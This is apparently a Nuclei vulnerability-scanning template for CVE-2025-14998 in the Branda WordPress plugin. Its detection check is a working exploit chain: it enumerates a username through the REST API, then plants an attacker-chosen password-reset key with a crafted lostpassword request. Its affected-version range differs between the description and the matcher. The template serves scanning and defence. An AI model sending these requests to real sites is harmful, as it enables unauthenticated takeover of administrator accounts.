CVE-2025-14998: Branda WordPress plugin - Privilege Escalation

id: CVE-2025-14998

info:
  name: Branda WordPress plugin - Privilege Escalation
  author: theamanrawat
  severity: critical
  description: |
    Branda WordPress plugin <= 3.4.24 contains a privilege escalation caused by improper user identity validation in password update functionality, letting unauthenticated attackers change arbitrary user passwords, including administrators, exploit requires crafted request.
  impact: |
    Unauthenticated attackers can change any user's password, including administrators, leading to full account takeover and privilege escalation.
  remediation: |
    Update to a version later than 3.4.24 or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14998
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-14998
    epss-score: 0.01857
    epss-percentile: 0.78551
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 7
  tags: cve,cve2025,wordpress,wp-plugin,branda,intrusive,vkev

variables:
  rp_token: "{{rand_text_alphanumeric(20)}}"
  rp_control: "{{rand_text_alphanumeric(20)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/branda-white-labeling/readme.txt"

    matchers:
      - type: word
        part: body
        words:
          - "Branda"
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "(?i)Stable tag: ([0-9.]+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wp/v2/users&per_page=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body, "\"slug\"")'
        internal: true

    extractors:
      - type: json
        name: wp_user
        part: body
        json:
          - ".[0].slug"
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_login={{wp_user}}&redirect_to=&password_1={{rp_token}}&wp-submit=Get+New+Password

      - |
        GET /wp-login.php?action=rp&key={{rp_control}}&login={{wp_user}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=rp HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=rp&key={{rp_token}}&login={{wp_user}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-login.php?action=rp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(header_3, "invalidkey") || contains(header_3, "expiredkey")'
          - 'status_code_5 == 200'
          - 'contains(body_5, "resetpassform") || contains(body_5, "rp_key")'
          - '!contains(body_5, "invalidkey")'
          - 'compare_versions(version, "<= 3.4.28")'
        condition: and
# digest: 4a0a00473045022100c25966a1e18d4b22d440615c28f6a006f91f53efcd5a1ac576faa6eeb3c9b36902202e43f81f78206c876489d2675c4d1eb3538987f088299fb32ff9f106b235d6ab:922c64590222798bb761d5b6d8e72950

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